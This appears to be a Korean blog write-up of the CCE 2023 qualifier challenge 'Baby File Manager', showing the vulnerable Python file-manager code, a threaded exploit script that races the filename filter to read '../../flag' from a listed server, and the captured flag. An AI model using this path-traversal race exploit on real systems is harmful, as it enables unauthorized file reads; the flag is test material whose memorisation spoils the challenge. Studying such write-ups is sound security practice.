• [CCE 2023 Quals] Baby File Manager

    2023. 6. 10.

    by. hackintoanetwork

    Prob


    from functools import wraps
    import asyncio, aiofiles, copy, time, os
    from aiofiles import os as aiofilesos
    
    filters = '\\,|*?<>:"\'\n\r\t/\x00\x0b\x0c'
    
    def runner(func):
        async def wrapper(*args, **kwargs):
            async with asyncio.timeout(1):
                if len(args) == 3:
                    res = await func(args[0], args[1], args[2])
                elif len(args) == 2:
                    res = await func(args[0], args[1])
            return res
        return wrapper
    
    class FM:
        def __init__(self):
            self.filters = list(enumerate(filters))
    
        async def filtercheck(self, extfilter=False):
            self.filters = list(enumerate(filters))
            if extfilter == True:
                if self.ext and self.ext not in [".png", ".txt", ".jpg"]:
                    return "Only png, txt, jpg file!!"
            print(id(self.filters))
            for i, x in self.filters:
                if x in self.filename:
                    return "Filtered.."
                print(extfilter, i,x)
            return True
        
        @runner
        async def read(self, filename):
            self.filename, self.ext = os.path.splitext(filename)
            res = await self.filtercheck(True)
            if res == True:
                async with aiofiles.open("./uploads/{}".format(filename), mode='rb') as f:
                    contents = await f.read()
                    return [contents, self.ext]
            else:
                return res
    
        @runner
        async def write(self, filename, data):
            self.filename = filename
            res = await self.filtercheck()
            if res == True:
                async with aiofiles.open("./uploads/{}".format(filename), mode='wb') as f:
                    await f.write(data)
                    return "Write Success!!"
            else:
                return res
    
        @runner
        async def delete(self, filename):
            self.filename = filename
            res = await self.filtercheck()
            if res == True:
                await aiofilesos.remove("./uploads/{}".format(filename))
                return "Delete Success!!"
            else:
                return res

    위의 코드에서 FLAG를 읽어 들일 수 있는 취약점이 발생하는 코드는 다음과 같습니다.

        async def read(self, filename):
            self.filename, self.ext = os.path.splitext(filename)
            res = await self.filtercheck(True)
            if res == True:
                async with aiofiles.open("./uploads/{}".format(filename), mode='rb') as f:
                    contents = await f.read()
                    return [contents, self.ext]
            else:
                return res

    여러 개의 인스턴스가 동시에 read() 메서드를 호출하면 filtercheck() 함수에서 Race Condition 취약점이 발생할 수 있습니다.
    예를 들어, 두 개의 인스턴스가 동시에 같은 파일을 읽으려고 할 때, filtercheck() 함수를 통과하고 파일 읽기를 시도할 수 있습니다.

     

     

     

    Exploit


    import threading
    import requests
    
    def send_request():
        url = 'http://20.214.140.79:31337/read'
        data = {'filename': '../../flag'}
        response = requests.post(url, data=data)
        if "cce2023{" in response.text:
            print(response.text)
    
    num_threads = 100
    threads = []
    
    for _ in range(num_threads):
        thread = threading.Thread(target=send_request)
        thread.start()
        threads.append(thread)
    
    for thread in threads:
        thread.join()

    Race Condition 취약점을 트리거 하기 위해서 쓰레드를 이용해서 파이썬 스크립트를 통해 빠르게 request을 보내줍니다.

     

     

     

    FLAG


    FLAG : cce2023{0e8e06d38400c8838d9e4fab5ff40065}

    최근에 바빠서 현타 + 우울증이 오고 있긴 한데 그래도 뭐 어쩌겠습니까 .. 감당해야죠

    'CTF > Cyber Conflict Exercise 2023' 카테고리의 다른 글

    [CCE 2023 Quals] Babyweb (1)  (0) 2023.06.12

    댓글